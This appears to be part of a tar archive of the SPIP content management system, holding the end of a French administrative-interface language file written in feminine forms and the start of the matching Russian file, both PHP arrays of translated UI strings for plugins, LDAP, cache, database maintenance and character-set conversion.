'label_slogan_site' => 'Slogan du site',
'label_taille_ecran' => 'Largeur de l’écran',
'label_texte_et_icones_navigation' => 'Menu de navigation',
'label_texte_et_icones_page' => 'Affichage dans la page',
'ldap_correspondance' => 'héritage du champ @champ@',
'ldap_correspondance_1' => 'Héritage des champs LDAP',
'ldap_correspondance_2' => 'Pour chacun des champs SPIP suivants, indiquer le nom du champ LDAP correspondant. Laisser vide pour ne pas le remplir, séparer par des espaces ou des virgules pour essayer plusieurs champs LDAP.',
'lien_ajout_destinataire' => 'Ajouter cette destinataire',
'lien_ajouter_auteur' => 'Ajouter cette auteure',
'lien_ajouter_participant' => 'Ajouter une participante',
'lien_ajouter_une_rubrique' => 'Ajouter cette rubrique',
'lien_email' => 'email',
'lien_nom_site' => 'NOM DU SITE :',
'lien_retirer_auteur' => 'Retirer l’auteure',
'lien_retirer_rubrique' => 'Retirer la rubrique',
'lien_retirer_tous_auteurs' => 'Retirer toutes les auteures',
'lien_retirer_toutes_rubriques' => 'Retirer toutes les rubriques',
'lien_retrait_particpant' => 'retirer cette participante',
'lien_site' => 'site',
'lien_supprimer_rubrique' => 'supprimer cette rubrique',
'lien_tout_deplier' => 'Tout déplier',
'lien_tout_replier' => 'Tout replier',
'lien_tout_supprimer' => 'Tout supprimer',
'lien_trier_nom' => 'Trier par nom',
'lien_trier_nombre_articles' => 'Trier par nombre d’articles',
'lien_trier_statut' => 'Trier par statut',
'lien_voir_en_ligne' => 'VOIR EN LIGNE :',
'logo_article' => 'Logo de l’article',
'logo_auteur' => 'Logo de l’auteure',
'logo_rubrique' => 'Logo de la rubrique',
'logo_site' => 'Logo de ce site',
'logo_standard_rubrique' => 'Logo standard des rubriques',
'logo_survol' => 'Logo pour survol',
// M
'menu_aide_installation_choix_base' => 'Choix de votre base',
'module_fichier_langue' => 'Fichier de langue',
'module_raccourci' => 'Raccourci',
'module_texte_affiche' => 'Texte affiché',
'module_texte_explicatif' => 'Vous pouvez insérer les raccourcis suivants dans les squelettes de votre site public. Ils seront automatiquement traduits dans les différentes langues pour lesquelles il existe un fichier de langue.',
'module_texte_traduction' => 'Le fichier de langue « @module@ » est disponible en :',
'mois_non_connu' => 'non connu',
// N
'nouvelle_version_spip' => 'La version @version@ de SPIP est disponible',
// O
'onglet_contenu' => 'Contenu',
'onglet_declarer_une_autre_base' => 'Déclarer une autre base',
'onglet_discuter' => 'Discuter',
'onglet_documents' => 'Documents',
'onglet_interactivite' => 'Interactivité',
'onglet_proprietes' => 'Propriétés',
'onglet_repartition_actuelle' => 'actuellement',
'onglet_sous_rubriques' => 'Sous-rubriques',
// P
'page_pas_proxy' => 'Cette page ne doit pas passer par le proxy',
'pas_de_proxy_pour' => 'Au besoin, indiquez les machines ou domaines pour lesquels ce proxy ne doit pas s’appliquer (par exemple : @exemple@)',
'plugin_charge_paquet' => 'Chargement du paquet @name@',
'plugin_charger' => 'Télécharger',
'plugin_erreur_charger' => 'erreur : impossible de charger @zip@',
'plugin_erreur_droit1' => 'Le répertoire <code>@dest@</code> n’est pas accessible en écriture.',
'plugin_erreur_droit2' => 'Veuillez vérifier les droits sur ce répertoire (et le créer le cas échéant), ou installer les fichiers par FTP.',
'plugin_erreur_zip' => 'échec pclzip : erreur @status@',
'plugin_etat_developpement' => 'en développement',
'plugin_etat_experimental' => 'expérimental',
'plugin_etat_stable' => 'stable',
'plugin_etat_test' => 'en test',
'plugin_impossible_activer' => 'Impossible d’activer le plugin @plugin@',
'plugin_info_automatique1' => 'Si vous souhaitez autoriser l’installation automatique des plugins, veuillez :',
'plugin_info_automatique1_lib' => 'Si vous souhaitez autoriser l’installation automatique de cette librairie, veuillez :',
'plugin_info_automatique2' => 'créer un répertoire <code>@rep@</code> ;',
'plugin_info_automatique3' => 'vérifier que le serveur est autorisé à écrire dans ce répertoire.',
'plugin_info_automatique_creer' => 'à créer à la racine du site.',
'plugin_info_automatique_exemples' => 'exemples :',
'plugin_info_automatique_ftp' => 'Vous pouvez installer des plugins, par FTP, dans le répertoire <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Certains plugins demandent aussi à pouvoir télécharger des fichiers dans le répertoire <code>lib/</code>, à créer le cas échéant à la racine du site.',
'plugin_info_automatique_liste' => 'Vos listes de plugins :',
'plugin_info_automatique_liste_officielle' => 'les plugins officiels',
'plugin_info_automatique_liste_update' => 'Mettre à jour les listes',
'plugin_info_automatique_ou' => 'ou...',
'plugin_info_automatique_select' => 'Sélectionnez ci-dessous un plugin : SPIP le téléchargera et l’installera dans le répertoire <code>@rep@</code> ; si ce plugin existe déjà, il sera mis à jour.',
'plugin_info_credit' => 'Crédits',
'plugin_info_erreur_xml' => 'La déclaration de ce plugin est incorrecte',
'plugin_info_install_ok' => 'Installation réussie',
'plugin_info_necessite' => 'Nécessite :',
'plugin_info_non_compatible_spip' => 'Ce plugin n’est pas compatible avec cette version de SPIP',
'plugin_info_plugins_dist_1' => 'Les plugins ci-dessous sont chargés et activés dans le répertoire @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Ils ne sont pas désactivables.',
'plugin_info_telecharger' => 'à télécharger depuis @url@ et à installer dans @rep@',
'plugin_info_upgrade_ok' => 'Mise à jour réussie',
'plugin_librairies_installees' => 'Librairies installées',
'plugin_necessite_lib' => 'Ce plugin nécessite la librairie @lib@',
'plugin_necessite_plugin' => 'Nécessite le plugin @plugin@ en version @version@ minimum.',
'plugin_necessite_plugin_sans_version' => 'Nécessite le plugin @plugin@',
'plugin_necessite_spip' => 'Nécessite SPIP en version @version@ minimum.',
'plugin_source' => 'source : ',
'plugin_titre_automatique' => 'Installation automatique',
'plugin_titre_automatique_ajouter' => 'Ajouter des plugins',
'plugin_titre_installation' => 'Installation du plugin @plugin@',
'plugin_titre_modifier' => 'Mes plugins',
'plugin_zip_active' => 'Continuez pour l’activer',
'plugin_zip_adresse' => 'indiquez ci-dessous l’adresse d’un fichier zip de plugin à télécharger, ou encore l’adresse d’une liste de plugins.',
'plugin_zip_adresse_champ' => 'Adresse du plugin ou de la liste ',
'plugin_zip_content' => 'Il contient les fichiers suivants (@taille@),<br />prêts à installer dans le répertoire <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Le fichier @zip@ a été décompacté et installé.',
'plugin_zip_installe_rep_finie' => 'Le fichier @zip@ a été décompacté et installé dans le répertoire @rep@',
'plugin_zip_installer' => 'Vous pouvez maintenant l’installer.',
'plugin_zip_telecharge' => 'Le fichier @zip@ a été téléchargé',
'plugins_actif_aucun' => 'Aucun plugin activé.',
'plugins_actif_un' => 'Un plugin activé.',
'plugins_actifs' => '@count@ plugins activés.',
'plugins_actifs_liste' => 'Actifs',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Un plugin disponible.',
'plugins_disponibles' => '@count@ plugins disponibles.',
'plugins_erreur' => 'Erreur dans les plugins : @plugins@',
'plugins_liste' => 'Liste des plugins',
'plugins_liste_dist' => 'Plugins verrouillés',
'plugins_recents' => 'Plugins récents.',
'plugins_tous_liste' => 'Tous',
'plugins_vue_hierarchie' => 'Hiérarchie',
'plugins_vue_liste' => 'Liste',
'protocole_ldap' => 'Version du protocole :',
// Q
'queue_executer_maintenant' => 'Exécuter maintenant',
'queue_info_purger' => 'Vous pouvez supprimer tous les travaux en attente et ré-initialiser la liste avec les travaux périodiques',
'queue_nb_jobs_in_queue' => '@nb@ travaux en attente',
'queue_next_job_in_nb_sec' => 'Prochain travail dans @nb@ s',
'queue_no_job_in_queue' => 'Aucun travail en attente',
'queue_one_job_in_queue' => '1 travail en attente',
'queue_purger_queue' => 'Réinitialiser la liste des travaux',
'queue_titre' => 'Liste des travaux',
// R
'repertoire_plugins' => 'Répertoire :',
// S
'sans_heure' => 'sans heure',
'statut_admin_restreint' => 'admin restreinte',
'statut_webmestre' => 'webmestre',
// T
'tache_cron_asap' => 'Tâche CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Tâche CRON @function@ (toutes les @nb@ s)',
'taille_cache_image' => 'Les images calculées automatiquement par SPIP (vignettes des documents, titres présentés sous forme graphique, fonctions mathématiques au format TeX...) occupent dans le répertoire @dir@ un total de @taille@.',
'taille_cache_infinie' => 'Ce site ne prévoit pas de limitation de taille du répertoire du cache.',
'taille_cache_maxi' => 'SPIP essaie de limiter la taille du répertoire du cache de ce site à environ <b>@octets@</b> de données.',
'taille_cache_moins_de' => 'La taille du cache est de moins de @octets@.',
'taille_cache_octets' => 'La taille du cache est actuellement de @octets@ environ.',
'taille_cache_vide' => 'Le cache est vide.',
'taille_repertoire_cache' => 'Taille du répertoire cache',
'text_article_propose_publication' => 'Article proposé pour la publication.',
'texte_acces_ldap_anonyme_1' => 'Certains serveurs LDAP n’acceptent aucun accès anonyme. Dans ce cas il faut spécifier un identifiant d’accès initial afin de pouvoir ensuite rechercher des informations dans l’annuaire. Dans la plupart des cas néanmoins, les champs suivants pourront être laissés vides.',
'texte_admin_effacer_01' => 'Cette commande efface <i>tout</i> le contenu de la base de données,
y compris <i>tous</i> les accès rédactrices et administratrices. Après l’avoir exécutée, vous devrez lancer la
réinstallation de SPIP pour recréer une nouvelle base ainsi qu’un premier accès administratrice.',
'texte_adresse_annuaire_1' => '(Si votre annuaire est installé sur la même machine que ce site Web, il s’agit probablement de « localhost ».)',
'texte_ajout_auteur' => 'L’auteure suivante a été ajoutée à l’article :',
'texte_annuaire_ldap_1' => 'Si vous avez accès à un annuaire (LDAP), vous pouvez l’utiliser pour importer automatiquement des utilisatrices sous SPIP.',
'texte_article_statut' => 'Cet article est :',
'texte_article_virtuel' => 'Article virtuel',
'texte_article_virtuel_reference' => '<b>Article virtuel :</b> article référencé dans votre site SPIP, mais redirigé vers une autre URL. Pour supprimer la redirection, effacez l’URL ci-dessus.',
'texte_aucun_resultat_auteur' => 'Aucun résultat pour "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Ce site peut vous indiquer en permanence la liste des rédactrices connectées, ce qui vous permet d’échanger des messages en direct. Vous pouvez décider de ne pas apparaître dans cette liste (vous êtes « invisible » pour les autres utilisatrices).',
'texte_auteur_messagerie_1' => 'Ce site permet l’échange de messages et la constitution de forums de discussion privés entre les participantes du site. Vous pouvez décider de ne pas participer à ces échanges.',
'texte_auteurs' => 'LES AUTEURES',
'texte_choix_base_1' => 'Choisissez votre base :',
'texte_choix_base_2' => 'Le serveur SQL contient plusieurs bases de données.',
'texte_choix_base_3' => '<b>Sélectionnez</b> ci-après celle qui vous a été attribuée par votre hébergeur :',
'texte_choix_table_prefix' => 'Préfixe des tables :',
'texte_commande_vider_tables_indexation' => 'Utilisez cette commande afin de vider les tables d’indexation utilisées
par le moteur de recherche intégré à SPIP. Cela vous permettra
de gagner de l’espace disque.',
'texte_compatibilite_html' => 'Vous pouvez demander à SPIP de produire, sur le site public, du code compatible avec la norme <i>HTML4</i>, ou lui permettre d’utiliser les possibilités plus modernes du <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Il n’y a aucun risque à activer l’option <i>HTML5</i>, mais si vous le faites, les pages de votre site devront commencer par la mention suivante pour rester valides : <code>< !DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(celui-ci peut être compressé ou non)',
'texte_compte_element' => '@count@ élément',
'texte_compte_elements' => '@count@ éléments',
'texte_conflit_edition_correction' => 'Veuillez contrôler ci-dessous les différences entre les deux versions du texte ; vous pouvez aussi copier vos modifications, puis recommencer.',
'texte_connexion_mysql' => 'Consultez les informations fournies par votre hébergeur : vous devez y trouver le serveur de base de données qu’il propose et vos identifiants personnels pour vous y connecter.',
'texte_contenu_article' => '(Contenu de l’article en quelques mots.)',
'texte_contenu_articles' => 'Selon la maquette adoptée pour votre site, vous pouvez décider
que certains éléments des articles ne sont pas utilisés.
Utilisez la liste ci-dessous pour indiquer quels éléments sont disponibles.',
'texte_crash_base' => 'Si votre base de données a
crashé, vous pouvez tenter une réparation
automatique.',
'texte_creer_rubrique' => 'Avant de pouvoir écrire des articles,<br /> vous devez créer une rubrique.',
'texte_date_creation_article' => 'DATE DE CRÉATION DE L’ARTICLE :',
'texte_date_creation_objet' => 'Date de création :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Date de rédaction antérieure :',
'texte_date_publication_anterieure_nonaffichee' => 'Ne pas afficher de date de rédaction antérieure.',
'texte_date_publication_article' => 'DATE DE PUBLICATION EN LIGNE :',
'texte_date_publication_objet' => 'Date de publication en ligne :',
'texte_descriptif_petition' => 'Descriptif de la pétition',
'texte_descriptif_rapide' => 'Descriptif rapide',
'texte_effacer_base' => 'Effacer la base de données SPIP',
'texte_effacer_donnees_indexation' => 'Effacer les données d’indexation',
'texte_effacer_statistiques' => 'Effacer les statistiques',
'texte_en_cours_validation' => 'Les contenus ci-dessous sont en attente de validation.',
'texte_enrichir_mise_a_jour' => 'Vous pouvez enrichir la mise en page de votre texte en utilisant des « raccourcis typographiques ».',
'texte_fichier_authent' => '<b>SPIP doit-il créer les fichiers spéciaux <tt>.htpasswd</tt> et <tt>.htpasswd-admin</tt> dans le répertoire @dossier@ ?</b>
<p>Ces fichiers peuvent vous servir à restreindre l’accès aux auteures et administratrices en d’autres endroits de votre site (programme externe de statistiques, par exemple).</p>
<p>Si vous n’en avez pas l’utilité, vous pouvez laisser cette option à sa valeur par défaut (pas de création des fichiers).</p>',
'texte_informations_personnelles_1' => 'Le système va maintenant vous créer un accès personnalisé au site.',
'texte_informations_personnelles_2' => '(Note : il s’agit d’une réinstallation, si votre accès marche toujours vous pouvez',
'texte_introductif_article' => '(Texte introductif de l’article.)',
'texte_jeu_caractere' => 'Il est conseillé d’employer, sur votre site, l’alphabet universel (<tt>utf-8</tt>) : celui-ci permet l’affichage de textes dans toutes les langues, et ne pose plus de problèmes de compatibilité avec les navigateurs modernes.',
'texte_jeu_caractere_2' => 'Attention : ce réglage ne provoque pas la conversion des textes déjà enregistrés dans la base de données.',
'texte_jeu_caractere_3' => 'Votre site est actuellement installé dans le jeu de caractères :',
'texte_jeu_caractere_4' => 'Si cela ne correspond pas à la réalité de vos données (suite, par exemple, à une restauration de base de données), ou si <em>vous démarrez ce site</em> et souhaitez partir sur un autre jeu de caractères, veuillez indiquer ce dernier ici :',
'texte_jeu_caractere_conversion' => 'Note : vous pouvez décider de convertir une fois pour toutes l’ensemble des textes de votre site (articles, brèves, forums, etc.) vers l’alphabet <tt>utf-8</tt>, en vous rendant sur <a href="@url@">la page de conversion vers l’utf-8</a>.',
'texte_lien_hypertexte' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d’informations, veuillez indiquer ci-après le titre de la page et son adresse URL.)',
'texte_login_ldap_1' => '(Laisser vide pour un accès anonyme, ou entrer le chemin complet, par exemple « <tt>uid=dupont, ou=users, dc=mon-domaine, dc=com</tt> ».)',
'texte_login_precaution' => 'Attention ! Ceci est le login sous lequel vous êtes connectée actuellement.
Utilisez ce formulaire avec précaution...',
'texte_message_edit' => 'Attention : ce message peut être modifié par toutes les administratrices du site, et est visible par toutes les rédactrices. N’utilisez les annonces que pour exposer des événements importants de la vie du site.',
'texte_messagerie_agenda' => 'Une messagerie permet aux rédactrices du site de communiquer entre elles directement dans l’espace privé du site. Elle est associée à un agenda.',
'texte_mise_a_niveau_base_1' => 'Vous venez de mettre à jour les fichiers SPIP.
Il faut maintenant mettre à niveau la base de données
du site.',
'texte_modifier_article' => 'Modifier l’article :',
'texte_moteur_recherche_active' => '<b>Le moteur de recherche est activé.</b> Utilisez cette commande
si vous souhaitez procéder à une réindexation rapide (après restauration
d’une sauvegarde par exemple). Notez que les documents modifiés de
façon normale (depuis l’interface SPIP) sont automatiquement
réindexés : cette commande n’est donc utile que de façon exceptionnelle.',
'texte_moteur_recherche_non_active' => 'Le moteur de recherche n’est pas activé.',
'texte_multilinguisme' => 'Si vous souhaitez gérer des objets en plusieurs langues, avec une navigation complexe, vous pouvez ajouter un menu de sélection de langue sur ces objets, en fonction de l’organisation de votre site.',
'texte_multilinguisme_trad' => 'Vous pouvez également activer un système de gestion de liens entre les différentes traductions sur certains objets.',
'texte_non_compresse' => '<i>non compressé</i> (votre serveur ne supportant pas cette fonctionnalité)',
'texte_nouveau_message' => 'Nouveau message',
'texte_nouvelle_version_spip_1' => 'Vous avez installé une nouvelle version de SPIP.',
'texte_nouvelle_version_spip_2' => 'Cette nouvelle version nécessite une mise à jour plus complète qu’à l’accoutumée. Si vous êtes webmestre du site, veuillez effacer le fichier @connect@ et reprendre l’installation afin de mettre à jour vos paramètres de connexion à la base de données.<p> (NB. : si vous avez oublié vos paramètres de connexion, jetez un œil au fichier @connect@ avant de le supprimer...)</p>',
'texte_operation_echec' => 'Retournez à la page précédente, sélectionnez une autre base ou créez-en une nouvelle. Vérifiez les informations fournies par votre hébergeur.',
'texte_plus_trois_car' => 'plus de 3 caractères',
'texte_plusieurs_articles' => 'Plusieurs auteures trouvées pour "@cherche_auteur@" :',
'texte_port_annuaire' => '(La valeur indiquée par défaut convient généralement.)',
'texte_presente_plugin' => 'Cette page liste les plugins disponibles sur le site. Vous pouvez activer les plugins nécessaires en cochant la case correspondante.',
'texte_proposer_publication' => 'Lorsque votre article est terminé,<br /> vous pouvez proposer sa publication.',
'texte_proxy' => 'Dans certains cas (intranet, réseaux protégés), les sites distants (documentation de SPIP, sites syndiqués, etc.) ne sont accessibles qu’à travers un <i>proxy HTTP</i>. Le cas échéant, indiquez ci-dessous son adresse, sous la forme @proxy_en_cours@. En général, vous laisserez cette case vide.',
'texte_publication_articles_post_dates' => 'Quel comportement SPIP doit-il adopter face aux articles dont la
date de publication a été fixée à une
échéance future ?',
'texte_rappel_selection_champs' => '[N’oubliez pas de sélectionner correctement ce champ.]',
'texte_recalcul_page' => 'Si vous voulez
recalculer une seule page, passez plutôt par l’espace public et utilisez-y le bouton « recalculer ».',
'texte_recapitiule_liste_documents' => 'Cette page récapitule la liste des documents que vous avez placés dans les rubriques. Pour modifier les informations de chaque document, suivez le lien vers la page de sa rubrique.',
'texte_recuperer_base' => 'Réparer la base de données',
'texte_reference_mais_redirige' => 'article référencé dans votre site SPIP, mais redirigé vers une autre URL.',
'texte_requetes_echouent' => '<b>Lorsque certaines requêtes SQL échouent
systématiquement et sans raison apparente, il est possible
que ce soit à cause de la base de données
elle-même.</b><p>
Votre serveur SQL dispose d’une faculté de réparation de ses
tables lorsqu’elles ont été endommagées par
accident. Vous pouvez ici tenter cette réparation ; en
cas d’échec, conservez une copie de l’affichage, qui contient
peut-être des indices de ce qui ne va pas...</p><p>
Si le problème persiste, prenez contact avec votre
hébergeur.</p>',
'texte_selection_langue_principale' => 'Vous pouvez sélectionner ci-dessous la « langue principale » du site. Ce choix ne vous oblige - heureusement ! - pas à écrire vos articles dans la langue sélectionnée, mais permet de déterminer :
<ul><li> le format par défaut des dates sur le site public ;</li>
<li> la nature du moteur typographique que SPIP doit utiliser pour le rendu des textes ;</li>
<li> la langue utilisée dans les formulaires du site public ;</li>
<li> la langue présentée par défaut dans l’espace privé.</li></ul>',
'texte_sous_titre' => 'Sous-titre',
'texte_statistiques_visites' => '(barres foncées : dimanche / courbe foncée : évolution de la moyenne)',
'texte_statut_attente_validation' => 'en attente de validation',
'texte_statut_publies' => 'publiés en ligne',
'texte_statut_refuses' => 'refusés',
'texte_suppression_fichiers' => 'Utilisez cette commande afin de supprimer tous les fichiers présents
dans le cache SPIP. Cela permet par exemple de forcer un recalcul de toutes les pages si vous
avez fait des modifications importantes de graphisme ou de structure du site.',
'texte_sur_titre' => 'Sur-titre',
'texte_table_ok' => ' : cette table est OK.',
'texte_tables_indexation_vides' => 'Les tables d’indexation du moteur sont vides.',
'texte_tentative_recuperation' => 'Tentative de réparation',
'texte_tenter_reparation' => 'Tenter une réparation de la base de données',
'texte_test_proxy' => 'Pour faire un essai de ce proxy, indiquez ici l’adresse d’un site Web
que vous souhaitez tester.',
'texte_titre_02' => 'Titre :',
'texte_titre_obligatoire' => '<b>Titre</b> [Obligatoire]',
'texte_travail_article' => '@nom_auteur_modif@ a travaillé sur cet article il y a @date_diff@ minutes',
'texte_travail_collaboratif' => 'S’il est fréquent que plusieures rédactrices
travaillent sur le même article, le système
peut afficher les articles récemment « ouverts »
afin d’éviter les modifications simultanées.
Cette option est désactivée par défaut
afin d’éviter d’afficher des messages d’avertissement
intempestifs.',
'texte_trop_resultats_auteurs' => 'Trop de résultats pour "@cherche_auteur@" ; veuillez affiner la recherche.',
'texte_unpack' => 'téléchargement de la dernière version',
'texte_utilisation_moteur_syndiques' => 'Lorsque vous utilisez le moteur de recherche intégré
à SPIP, vous pouvez effectuer les recherches sur les sites et
les articles syndiqués de deux manières
différentes. <br />- La plus
simple consiste à rechercher uniquement dans les
titres et les descriptifs des articles. <br />-
Une seconde méthode, beaucoup plus puissante, permet
à SPIP de rechercher également dans le texte des
sites référencés . Si vous
référencez un site, SPIP va alors effectuer la
recherche dans le texte du site lui-même.',
'texte_utilisation_moteur_syndiques_2' => 'Cette méthode oblige SPIP à visiter
régulièrement les sites référencés,
ce qui peut provoquer un léger ralentissement de votre propre
site.',
'texte_vide' => 'vide',
'texte_vider_cache' => 'Vider le cache',
'titre_admin_effacer' => 'Maintenance technique',
'titre_admin_tech' => 'Maintenance technique',
'titre_admin_vider' => 'Maintenance technique',
'titre_ajouter_un_auteur' => 'Ajouter une auteure',
'titre_ajouter_un_mot' => 'Ajouter un mot-clé',
'titre_ajouter_une_rubrique' => 'Ajouter une rubrique',
'titre_cadre_afficher_article' => 'Afficher les articles',
'titre_cadre_afficher_traductions' => 'Afficher l’état des traductions pour les langues suivantes :',
'titre_cadre_ajouter_auteur' => 'AJOUTER UNE AUTEURE :',
'titre_cadre_interieur_rubrique' => 'À l’intérieur de la rubrique',
'titre_cadre_numero_auteur' => 'AUTEURE NUMÉRO',
'titre_cadre_numero_objet' => '@objet@ NUMÉRO :',
'titre_cadre_signature_obligatoire' => '<b>Signature</b> [Obligatoire]<br />',
'titre_config_contenu_notifications' => 'Notifications',
'titre_config_contenu_prive' => 'Dans l’espace privé',
'titre_config_contenu_public' => 'Sur le site public',
'titre_config_fonctions' => 'Configuration du site',
'titre_config_langage' => 'Configurer la langue',
'titre_configuration' => 'Configuration du site',
'titre_configurer_preferences' => 'Configurer vos préférences',
'titre_conflit_edition' => 'Conflit lors de l’édition',
'titre_connexion_ldap' => 'Options : <b>Votre connexion LDAP</b>',
'titre_groupe_mots' => 'GROUPE DE MOTS :',
'titre_identite_site' => 'Identité du site',
'titre_langue_article' => 'Langue de l’article',
'titre_langue_rubrique' => 'Langue de la rubrique',
'titre_langue_trad_article' => 'LANGUE ET TRADUCTIONS DE L’ARTICLE',
'titre_les_articles' => 'LES ARTICLES',
'titre_messagerie_agenda' => 'Messagerie et agenda',
'titre_naviguer_dans_le_site' => 'Naviguer dans le site...',
'titre_nouvelle_rubrique' => 'Nouvelle rubrique',
'titre_numero_rubrique' => 'RUBRIQUE NUMÉRO :',
'titre_page_admin_effacer' => 'Maintenance technique : effacer la base',
'titre_page_articles_edit' => 'Modifier : @titre@',
'titre_page_articles_page' => 'Les articles',
'titre_page_articles_tous' => 'Tout le site',
'titre_page_auteurs' => 'Visiteuses',
'titre_page_calendrier' => 'Calendrier @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuration du site',
'titre_page_config_fonctions' => 'Configuration du site',
'titre_page_configuration' => 'Configuration du site',
'titre_page_controle_petition' => 'Suivi des pétitions',
'titre_page_delete_all' => 'suppression totale et irréversible',
'titre_page_documents_liste' => 'Les documents des rubriques',
'titre_page_index' => 'Votre espace privé',
'titre_page_message_edit' => 'Rédiger un message',
'titre_page_messagerie' => 'Votre messagerie',
'titre_page_recherche' => 'Résultats de la recherche @recherche@',
'titre_page_statistiques_referers' => 'Statistiques (liens entrants)',
'titre_page_statistiques_signatures_jour' => 'Nombre de signatures par jour',
'titre_page_statistiques_signatures_mois' => 'Nombre de signatures par mois',
'titre_page_upgrade' => 'Mise à niveau de SPIP',
'titre_publication_articles_post_dates' => 'Publication des articles post-datés',
'titre_referencer_site' => 'Référencer le site :',
'titre_rendez_vous' => 'RENDEZ-VOUS :',
'titre_reparation' => 'Réparation',
'titre_suivi_petition' => 'Suivi des pétitions',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Il n’y a pas d’article portant ce numéro.',
'trad_article_traduction' => 'Toutes les versions de cet article :',
'trad_deja_traduit' => 'Erreur : impossible de relier cet article au numéro demandé. ',
'trad_delier' => 'Ne plus lier à ces traductions',
'trad_lier' => 'Cet article est une traduction de l’article numéro :',
'trad_new' => 'Écrire une nouvelle traduction',
// U
'upload_info_mode_document' => 'Déposer cette image dans le portfolio',
'upload_info_mode_image' => 'Retirer cette image du portfolio',
'utf8_convert_attendez' => 'Attendez quelques instants et rechargez cette page.',
'utf8_convert_avertissement' => 'Vous vous apprêtez à convertir le contenu de votre base de données (articles, brèves, etc) du jeu de caractères <b>@orig@</b> vers le jeu de caractères <b>@charset@</b>.',
'utf8_convert_backup' => 'N’oubliez pas de faire auparavant une sauvegarde complète de votre site. Vous devrez aussi vérifier que vos squelettes et fichiers de langue sont compatibles @charset@.',
'utf8_convert_erreur_deja' => 'Votre site est déjà en @charset@, inutile de le convertir...',
'utf8_convert_erreur_orig' => 'Erreur : le jeu de caractères @charset@ n’est pas supporté.',
'utf8_convert_termine' => 'C’est terminé !',
'utf8_convert_timeout' => '<b>Important :</b> en cas de <i>timeout</i> du serveur, veuillez recharger la page jusqu’à ce qu’elle indique « terminé ».',
'utf8_convert_verifier' => 'Vous devez maintenant aller vider le cache, et vérifier que tout se passe bien sur les pages publiques du site. En cas de gros problème, une sauvegarde de vos données a été réalisée (au format SQL) dans le répertoire @rep@.',
'utf8_convertir_votre_site' => 'Convertir votre site en utf-8',
// V
'version' => 'Version :'
);
?>
ecrire_ru.php 0000666 00000305404 15252547432 0007257 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Включить плагин',
'affichage' => 'Показать',
'aide_non_disponible' => 'Этот раздел он-лайн помощи еще не переведен на русский язык.',
'annuler_recherche' => 'Отменить поиск',
'auteur' => 'Автор:',
'avis_acces_interdit' => 'Доступ запрещен.',
'avis_article_modifie' => 'Внимание: @nom_auteur_modif@ вносил изменения в эту статью @date_diff@ минут назад',
'avis_aucun_resultat' => 'Ничего не найдено',
'avis_base_inaccessible' => 'Невозможно подключиться к базе @base@.',
'avis_chemin_invalide_1' => 'Выбранный Вами путь',
'avis_chemin_invalide_2' => 'похоже не верно. Пожалуйста, вернитесь на предыдущую страницу и проверьте предоставленную информацию.',
'avis_connexion_echec_1' => 'Не удалось подключится к SQL серверу.',
'avis_connexion_echec_2' => 'Пожалуйста, вернитесь на предыдущую страницу и проверьте внесенную информацию.',
'avis_connexion_echec_3' => '<b>N.B.</b> На многих серверах, Вы должны сделать запрос для включения Вашего доступа к базе данных SQL перед тем как использовать её. Если Вы не можете установить соединение, убедитесь, что этот запрос действительно был сделан.',
'avis_connexion_erreur_nom_base' => 'Название базы может состоять только из латинских букв, цифр и знака нижнего подчеркивания.',
'avis_connexion_ldap_echec_1' => 'Не удалось подключиться к LDAP.',
'avis_connexion_ldap_echec_2' => 'Вернитесь на предыдущую страницу, и проверьте внесенную Вами информацию.',
'avis_connexion_ldap_echec_3' => 'Кроме того, не используйте поддержку LDAP для импорта пользователей.',
'avis_deplacement_rubrique' => 'Внимание! В этом разделе находится @contient_breves@ новостей@scb@:: если Вы перемещаете его, пожалуйста, поставьте отметку для подтверждения операции.',
'avis_destinataire_obligatoire' => 'Вы должны выбрать получателя перед отправкой этого сообщения.',
'avis_erreur_connexion_mysql' => 'Ошибка соединения с SQL ',
'avis_erreur_version_archive' => '<b>Внимание! Файл @archive@ создан в другой версии SPIP, отличной от версии на вашем сайте</b> Есть риск повреждения Вашей базы данных или
возникновения сбоев в работе Вашего сайта.
Не стоит восстанавливать резервную версию.
. <p> Для получения дополнительной информации
обратитесь к . <a href="@spipnet@">документации по SPIP </a>.',
'avis_espace_interdit' => ' SPIP уже установлен.',
'avis_lecture_noms_bases_1' => 'Программа установки не может прочитать названия установленных баз данных.',
'avis_lecture_noms_bases_2' => 'Ни одна из баз данных не доступна, или функция позволяющая внесение в список баз данных было выведена из строя
в целях безопасности (лучше иметь большее количество хостов).',
'avis_lecture_noms_bases_3' => 'В случае, если второй выбор был верен, возможно, что база данных, названная за Вашим логином, может быть использована:',
'avis_non_acces_message' => 'У Вас нет доступа к этому сообщению.',
'avis_non_acces_page' => 'У Вас нет доступа к этой странице.',
'avis_operation_echec' => 'Не удалось выполнить операцию.',
'avis_operation_impossible' => 'Невозможно выполнить операцию',
'avis_probleme_archive' => 'Ошибка чтения файла @archive@',
'avis_suppression_base' => 'ВНИМАНИЕ: удаление данных необратимо',
'avis_version_mysql' => 'Ваша версия SQL (@version_mysql@) не позволяет восстановить таблицы базы данных.',
// B
'bouton_acces_ldap' => 'Добавить доступ к LDAP >>',
'bouton_ajouter' => 'Добавить',
'bouton_ajouter_participant' => 'ДОБАВИТЬ УЧАСТНИКА:',
'bouton_annonce' => 'ОБЪЯВЛЕНИЕ',
'bouton_annuler' => 'Отмена',
'bouton_cache_activer' => 'Включить кеширование',
'bouton_cache_desactiver' => 'Временно отключить кеширование',
'bouton_checkbox_envoi_message' => 'возможность отправки сообщения',
'bouton_checkbox_indiquer_site' => 'Вы должны ввести название вебсайта',
'bouton_checkbox_signature_unique_email' => 'только одна подпись за адрес электронной почты',
